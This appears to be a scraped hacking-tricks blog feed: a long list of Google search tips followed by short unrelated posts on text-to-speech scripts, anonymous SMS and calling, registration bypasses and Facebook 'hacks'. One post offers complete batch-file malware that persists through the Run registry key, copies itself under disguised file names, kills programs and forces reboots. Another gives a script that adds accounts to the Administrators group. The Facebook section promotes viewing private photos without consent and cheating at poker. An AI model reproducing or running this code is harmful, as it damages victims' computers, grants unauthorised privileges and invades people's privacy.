101 Google tips, tricks and hacks

Looking for the ultimate tips for Google searching? You've just found the only guide to Google you need. Let's get started:



1. The best way to begin searching harder with Google is by clicking the Advanced Search link.

2. This lets you search for exact phrases, "all these words", or one of the specified keywords by entering search terms into the appropriate box.
3. You can also define how many results you want on the page, what language and what file type you're looking for, all with menus.
4. Advanced Search lets you type in a Top Level Domain (like .co.uk) in the "Search within site of domain" box to restrict results.
5. And you can click the "Date, usage rights, numeric range and more" link to access more advanced features.
6. Save time – most of these advanced features are also available in Google's front page search box, as command line parameters.
7. Google's main search invisibly combines search terms with the Boolean construct "AND". When you enter smoke fire – it looks for smoke AND fire.
8. To make Google search for smoke or fire, just type smoke OR fire
9. Instead of OR you can type the | symbol, like this: smoke | fire
10. Boolean connectors like AND and OR are case sensitive. They must be upper case.
11. Search for a specific term, then one keyword OR another by grouping them with parentheses, like this: 
water (smoke OR fire)
12. To look for phrases, put them in quotes: "there's no smoke without fire"
13. Synonym search looks for words that mean similar things. Use the tilde symbol before your keyword, like this: ~eggplant
14. Exclude specific key words with the minus operator. new pram -ebay excludes all results from eBay.
15. Common words, like I, and, then and if are ignored by Google. These are called "stop words".
16. The plus operator makes sure stop words are included. Like: fish +and chips
17. If a stop word is included in a phrase between quote marks as a phrase, the word is searched for.
18. You can also ask Google to fill in a blank. Try: Christopher Columbus discovered *
19. Search for a numerical range using the numrange operator. For example, search for Sony TV between £300 and £500 with the string Sony TV £300..£500
20. Google recognises 13 main file types through advanced search, including all Microsoft Office Document types, Lotus, PostScript, Shockwave Flash and plain text files.
21. Search for any filetype directly using the modifier filetype:[filetype extension]. For example: soccer filetype:pdf
22. Exclude entire file types, using the same Boolean syntax we used to exclude key words earlier: rugby -filetype:doc
23, In fact, you can combine any Boolean search operators, as long as your syntax is correct. An example: "sausage and mash" -onions filetype:doc
24. Google has some very powerful, hidden search parameters, too. For example "intitle" only searches page titles. Try intitle:herbs
25. If you're looking for files rather than pages – give index of as the intitle: parameter. It helps you find web and FTP directories.
26. The modifier inurl only searches the web address of a page: give inurl:spices a go.
27. Find live webcams by searching for: inurl:view/view.shtml
28. The modifier inanchor is very specific, only finding results in text used in page links.
29. Want to know how many links there are to a site? Try link:sitename – for example link:www.mozilla.org
30. Similarly, you can find pages that Google thinks are related in content, using the related: modifier. Use it like this: related:www.microsoft.com
31. The modifier info:site_name returns information about the specified page.
32. Alternatively, do a normal search then click the "Similar Pages" link next to a result.
33. Specify a site to search with the site: modifier – like this: search tips site:www.techradar.com
34. The above tip works with directory sites like www.dmoz.org and dynamically generated sites.
35. Access Google Directory – a database of handpicked and rated sites – at directory.google.com
36. The Boolean operators intitle and inurl work in Google directory, as does OR.
37. Use the site: modifier when searching Google Images, at images.google.com. For example: dvd recorder site:www.amazon.co.uk
38. Similar, using "site:.com" will only return results from .com domains.
39. Google News (news.google.com) has its own Boolean parameters. For example "intext" pulls terms from the body of a story.
40. If you use the operator "source:" in Google News, you can pick specific archives. For example: heather mills source:daily_mail
41. Using the "location:" filter enables you to return news from a chosen country. location:uk for example.
42. Similarly, Google Blogsearch (blogsearch.google.com) has its own syntax. You can search for a blog title, for example, using inblogtitle:
43. The general search engine can get very specific indeed. Try movie: to look for movie reviews.
44. The modifier film: works just as well!
45. Enter showtimes and Google will prompt you for your postcode. Enter it and it'll tell you when and where local films are showing.
46. For a dedicated film search page, go to www.google.co.uk/movies
47. If you ticked "Remember this Location" when you searched for show times, the next time you can enter the name of a current film instead.
48. Google really likes movies. Try typing director: The Dark Knight into the main search box.
49. For cast lists, try cast: name_of_film
50. The modifier music: followed by a band, song or album returns music reviews.
51. Try searching for weather London – you'll get a full 4-day forecast.
52. There's also a built-in dictionary. Try define: in the search box.
53. Google stores the content of old sites. You can search this cache direct with the syntax keyword cache:site_url
54. Alternatively, enter cache:site_url into Google's search box to be taken direct to the stored site.
55. No calculator handy? Use Google's built in features. Try typing 12*15 and hitting "Google Search".
56. Google's calculator converts measurements and understands natural language. Type in 14 stones in kilos, for example.
57. It does currency conversion too. Try 200 pounds in euros
58. If you know the currency code you can type 200 GBP in EUR instead for more reliable results.
59. And temperature! Just type: 98 f to c to convert Fahrenheit to Centigrade.
60. Want to know how clever Google really is? Type 2476 in roman numerals, then hit "Google Search"...
61. You can personalise your Google experience by creating a Google account. Go to www.google.com/account/ then click "Create Account".
62. With a Google account there are lots more extras available. You'll get a free Gmail email account for one...
63. With your Google account, you can also personalise your front page. Click "iGoogle" to add blog and site feeds.
64. Click "Add a Tab" in iGoogle to add custom tabs. Google automatically populates them with suitable site suggestions.
65. iGoogle allows you to theme your page too. Click "Select Theme" to change the default look.
66. Some iGoogle themes change with time..."Sweet Dreams" is a theme that turns from day to night as you browse.
67. Click "More" under "Try something new" to access a full list of Google sites and new features.
68. "Custom Search" enables you to create a branded Google search for your own site.
69. An active, useful service missing from the list is "Personalised Search" – but you can access it via www.google.com/psearch when you're logged in.
70. This page lists searches you have recently made – and is divided into categories. Clicking "pause" stops Google from recording your history.
71. Click "Trends" to see the sites you visit most, the terms you enter most often and links you've clicked on!
72. Personalised Search also includes a bookmark facility – which enables you to save bookmarks online and access them from anywhere.
73. You can add bookmarks or access your bookmarks using the iGoogle Bookmarks gadget.
74. Did you know you can search within your returned results? Scroll down to the bottom of the search results page to find the link.
75. Search locally by appending your postcode to the end of query. For example Indian food BA1 2BW finds restaurants in Bath, with addresses and phone numbers!
76. Looking for a map? Just add map to the end of your query, like this: Leeds map
77. Google finds images just as easily and lists them at the top, when you add image to the end of your search.
78. Google Image Search recognises faces... add &imgtype=face to the end of the returned URL in the location bar, then hit enter to filter out pictures that aren't people.
79. Keeping an eye on stocks? Type stocks: followed by market ticker for the company and Google returns the data from Google Finance.
80. Enter the carrier and flight number in Google's main search box to return flight tracking information.
81. What time is it? Find out anywhere by typing time then the name of a place.
82. You may have noticed Google suggests alternate spellings for search terms – that's the built in spell checker!
83. You can invoke the spell checker directly by using spell: followed by your keyword.
84. Click "I'm Feeling Lucky" to be taken straight to the first page Google finds for your keyword.
85. Enter a statistics-based query like population of Britain into Google, and it will show you the answer at the top of its results.
86. If your search has none-English results, click "Translate this Page" to see it in English.
87. You can search foreign sites specifically by clicking "Language Tools", then choosing which countries sites to translate your query to.
88. Other features on the language tools page include a translator for blocks of text you can type or cut and paste.
89. There's also a box that you can enter a direct URL into, translating to the chosen language.
90. Near the language tools link, you'll see the "Search Preferences". This handy page is full of secret functionality.
91. You can specify which languages Google returns results in, ticking as many (or few) boxes as you like.
92. Google's Safe Search protects you from explicit sexual content. You can choose to filter results more stringently or switch it off completely.
93. Google's default of 10 results a page can be increased to up to 100 in Search Preferences, too.
94. You can also set Google to open your search results in a new window.
95. Want to see what others are searching for or improve your page rank? Go to www.google.com/zeitgeist
96. Another useful, experimental search can be found at www.google.com/trends – where you can find the hottest search terms.
97. To compare the performance of two or more terms, enter them into the trends search box separated by commas.
98. Fancy searching Google in Klingon? Go to www.google.com/intl/xx-klingon
99. Perhaps the Swedish chef from the muppets is your role model instead? Check www.google.com/intl/xx-bork
100. Type answer to life, the universe and everything into Google. You may be surprised by the result...
101. It will also tell you the number of horns on a unicorn (seriously)

How to make the computer speak what you type


How to Make Your Computer Speak Whatever You Type

Create your own text to speech converter software to make your computer speak whatever you type.

Steps :

1. Open Notepad.

2.Copy/Write the code as given below into the notepad.

Dim message, sapi
message=InputBox("What do you want me to say?","Speak to Me")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message



3. Save the file with any name with an extension .vbs

4. Run the file, type anything you want in the textbox and press OK.
5. Enjoy !

How to make an invisible folder

This is a trick to make a folder invisible.
We are not going to try to hide the file anywhere.
In fact the folder would be right before your eyes but you can’t see it. Sounds intriguing? Actually it is very simple – just 2 steps.


1> Create a new folder and while naming or renaming it HOLD ALT key and enter 255 in the numpad. 
(you can also use ALT - 0160)
This will insert a non breaking space


2> RIGHT CLICK on the folder and change the ICON. In the list of icons you will find some blank spaces.
Just select one of those.


And now you have a nameless and iconless (in other words INVISIBLE) folder

Create a dangerous batch file virus

In this post i am going to give you dangerous virus code which is written in Batch Programming language.


This virus can :1.Copy itself into startup
2.Copy itself over one thousand times into random spots in your computer.
3.Hide its self and all other created files
4.Task kill MSN, Norton, Windows Explorer, Limewire.
5.Swap the left mouse button with the right one
6.Opens alert boxes
7.Changes the time to 12:00 and shuts down the computer

copy this code into notepad and save as anything.bat (while saving select
all files ).

Here is the Code:

@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP

Preregister your .free domains

As the name implies the domains are FREE and will be available from 2012 as the next gDLT (global top level domain)
But you can preregister them at dotfree right now
So I suggest that you grab the name you want right away before they run out!
Have a look at the domains I preregistered


4 Websites To Send Free SMS Without Registration


There are a lot of websites on the Internet that provides free sms services but only handful of them allows you to send Sms without registration and anonymously.In this post I will review the services of 4 Sms websites that allows you to send Anonymous messages.
Smsti.in allows you send message of complete 160 words and without any ads.There message service is very fast and you can even check the delivery reports of the sms that has been sent.
They provide their sms services for Indian Mobile numbers only.
Seasms allows you to send messages all over the world.This is the only free Sms service that I found which all allows you to send worldwide messages anonymously.
They also provide 160 character support for SMS.
3. 
Spicesms.com
Spicesms allows you to send sms only in India with 130 character support for sms.They service is very fast and sms are delivered instantaneously
Bollywoodmotion is one of the best sms website as you can send sms upto 500 characters long.
They do not include any ads into your message and messages are delivered in real time.This service is available only for Indian mobile numbers
If you know any other sms services that allows you to send messages without registration then do share by commenting.
NOTE:- Don’t send abusive messages to somebody using the above site as you can be traced .

How to Bypass Forum’s Registration Process


Now this is an awesome trick which everyone wants to learn about Bypassing the registration process which takes some time but it is frustrating.
We will take help of Google to Bypass this Process so follow the steps below and have FUN :)

1. Go to the Website which need Registration.

2. As you can see, it asks you to register to see the hidden thread or to make comments or anything Bla ! Bla !

3. Simply copy the url to the side and paste it in Google search

4. Find the link for your thread, and click the button called "Cached" to the right of it.

5. You can now see the link in the post that was previously blocked.
That’s it we hacked into the forum with the help of Google.
So enjoy this Trick and have Fun Bypassing into the Best Forums.

Custom Prescription Maker (hilarious prank)


Create some nice shocking Prescription which will blow minds of ur friends.
Use any Medicine names or anything your Friends name date name of the doctor and much more just enjoy this free service.
Go to Below Website :




NEWTON VIRUS PRANK MAC OSX


Named after the father of modern mechanics, the 'Newton Virus' introduces the concept of gravity causing your desktop to behave exactly as it would in the real physical environment. Desktop icons become susceptible to Newton’s invisible force and fall, roll and tumble in whatever direction gravity pulls them delivering a little bit of reality to your virtual environment. Perfect for spicing up your colleagues day or simply enjoying the marvels of Newtonian principles at work.

But not to worry, the non-destructive virus will not replicate itself, mail itself to your friends or destroy any of your files, but instead provide you with moments of blissful surprise and magic.

-Insert a USB key into your computer.
-Drag and drop the ‘Newton Virus’ to the USB key.
-You can now infect as many computers as you want.

-For infection, insert the USB into your ‘victim's’ computer.
-Double click on the ‘Newton Virus’ icon on your USB key and select 'Release Virus'.
-The USB key ejects itself. Unplug the USB and wait for the 'victim' to return to his/her computer. The ‘Newton Virus’ will strike after 30 seconds of continuous mouse movement by your victim.
-Should you find your icons fall in the opposite direction to what you would expect, check 'Invert X-Axis' before 'Release Virus'.

System Requirements:All Intel-based Apple portables such as the MacBook, MacBook Pro, MacBook Air, PowerBook G4 computers starting with PowerBook G4 (12-inch 1.5GHz), PowerBook G4 (15-inch 1.67/1.5GHz), PowerBook G4 (17-inch 1.67GHz), and iBook G4 computers starting with iBook G4 (Mid 2005) running at least OS X 10.4 (Tiger) or 10.5 (Leopard).

Find out if Recipient Read ur Email or Not

Now you can find out when your email has been read by the recipient! No more guessing: "Has he or she read my email yet?"
SpyPig.com is a simple email tracking system that sends you a notification by email when the recipient opens your message.
It works with virtually all modern email programs: Outlook, Eudora, Yahoo Email, Gmail, Hotmail, AOL Email and many others.
Follow the steps in the below image to see how it works :
You will have only 60 seconds to copy and paste the image

After completing 4 Step you will get your tracking image which you have to paste in your email which you are about to send but remember there is a expiration countdown going after completing the 4 Step so you have to be fast @ the copying process and that’s it now your email is being tracked and when ever ur recipients open the email the image loads and it tracks down the status and emails too you that’s it enjoy the service.

Convert any File to any Format





Many users just need to convert some of their files for different purposes and they want them to be for free and for without any software. Use the website ConvertFiles.com 
Just Browse your Filename and select the Output Format and that’s it you are done.

Easily Browse Websites with Anonymous IP Address



Browse any website anonymously with this simple website.:

1. Go to this Website : http://www.newipnow.com/

2. Enter the website to whom u do not want to reveal ur Ip address than select with which iP you want to browse.

3. Enjoy

Remember : Only some IP address are free other wants you to be a premium member to use so don’t worry enjoy the free ones and have FUN.


Free calls to anyone Worldwide


So here is one of the best tricks to call for free worldwide and anonymously. Now for the calling part we will use a website called economy calling which is right now in the BETA Stage and they are providing free calls for the testing purpose so why not utilize their testing as a free calling project so just tune into the trick by following the below steps .:
1. Go to http://economycalling.com/


2. Put your number in the left block and ur Friends Number in the right block.

3. Hit Submit

4. They will tell you too call some number don’t worry its absolutely free as tested by me and it’s an Indian number.

5. After you call that number just disconnect after 2 rings and you will get a call back which will connect you too your friend and its totally anonymous because he will receive call from the Indian number but an Unknown Number.

Lock and Unlock your Computer Using your Face


Hey everyone KeyLemon Screen is a simple solution for locking and unlocking your
computer using your face.
When you move away, KeyLemon Screen automatically locks
your computer. When you come back, KeyLemon Screen unlocks your computer.
You don’t need to enter any password. All you need is just a webcam and
KeyLemon Screen software.
KeyLemon Screen is available from the link below just hit Download Now and unlock your PC just by Showing your face.

Convert Guest to Admin in Windows XP


Well it’s a Notepad tricks which will help you in migrating your Windows XP GuestAccount into a Moderator Admin Account.

Steps for Migrations .:
1. Open Notepad
2. Type

@ echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0



3. Save it as Guest2Admin.bat 4. Remember format should be .bat else it will not execute.
5. Then just double click this file to execute and help you to migrate easily.
Note .: Your Guest profile should be on else it will not migrate.

NTFS Undelete – Recover deleted files for free!


NTFS Undelete – Recover deleted files for free!

NTFS Undelete is a free and open source software that allows you to recover deleted files from your Windows NTFS disks. It has a very simple user interface and is very easy to use. Unlike many other free data recovery software's that i have come across, i find NTFS Undelete to be very reliable and efficient, and it preserves the files original name unlike many other free and non-free data recovery software's.

ntfs_undelete_windows
POINTERS FOR DATA RECOVERY .:
  • When ever you find that some important files from your hard disk is missing stop use your system until the data has been recovered. The reason for this is, when a file is deleted from your computer the file never completely removed. It will be there in your hard disk but is not accessible. But the space where the file was will be marked as free space and would be open for writing new data. So if you would like to recover those files, the safest bet is to not do any work with your computer until you have recovered those files.
  • Never install the data recovery software to the same hard disk from which you want to recover files. If you have only one hard disk installed on your computer, NTFS Undelete offers a CD image which can be burnt to a CD and you can run the software from that, but i would recommend removing the hard disk and doing the data recovery on another computer.

How to Use Elevators Without Stopping

How to Use Elevators Without Stopping

How to Use Elevator Without Stopping.
This Hack will let you use elevator without stopping on any floors and reaching ur floor quickly.




Run Android 2.2 Froyo on PC with Windows 7


Run Android 2.2 Froyo on PC with Windows 7

Have you ever went through Android 2.2 aka Froyo OS ? I guess many of you have been those who are the users of Android smartphone must be familiar with the name.How about taking this OS installed on your desktop based PC running on Windows 7. It’s not crazy stuff there is a simple utility program to be downloaded and it will help you execute Froyo on your desktop PC.
Thanks to XDA Forum member tomlogan1 who have made this trick a simple why to execute. Let me tell you a brief introduction to Froyo as it is a mobile operating system, Android version 2.2, as the latest mobile OS for android is Gingerbread.
froyo-over-windows7
If you want to install Froyo parallel to Windows 7 then you can jump over to Android X86 website where a complete detail is there how you can port Froyo on your desktop. Another method is to get a VMware version of Froyo, and install the program on a USB drive and boot your computer with USB. Upon successful boot up the OS will automatically search for the Wi-Fi network around you for more fun.

Top 10 Facebook Hacks


Top 10 Facebook Hacks




1.How to View the Album of Any User Even if it is Private .:

You can use this script to view a photo in the original album, even if you’re not friends with the person.
Get it Here

2. How to Remove Annoying Facebook Advertisement .:

Get rid of some of the Facebook advertising and sponsored by sections with this tool.
Get it Here

3. How to see Real Profiles from Public Pages .:

This script redirects to real profiles from the Facebook people pages (public profiles). There is a risk of an infinite redirect loop if not logged in, so be logged in.
Get it Here

4. How to Undo Facebook Changes .:

If you hate some or all of the new Facebook changes, undo them with these scripts and use what you liked previously.
Get it Here

5. How to View All the Photos from a Person .:

You can search for pictures of a Facebook member who has tight privacy settings and view all his/ her pictures without his/ her consent.
Get it Here

6. How to Find More Friends at Facebook .:

Suppose some of your friends have newly joined Facebook and you didn’t even knew. Use this script and it will help you go through your friends’ friends list and find them out.
Get it Here

7. How to Share Files from Facebook .:

With this box widget, you can share files from your computer through Facebook. Isn’t it great?
Get it Here

8. How to Get a Job from Facebook .:

Looking for a job? This application gives Facebook users unique access to job information, networking opportunities and other career resources.
Get it Here

9. How to Tighten up the Privacy and still Maintain Communication Convenience .:

The Private Wall combines the best of both worlds of Facebook: online convenience and communication with more serious privacy settings.
Get it Here

10 How to Cheat Facebook Texas Hold em Poker .:

This is one of my Favorite hacks and that is why I have saved it for the last one. Using this software you can see the cards of any player and the advanced version of this software allows you to even add credits to your account for free.
Get it Here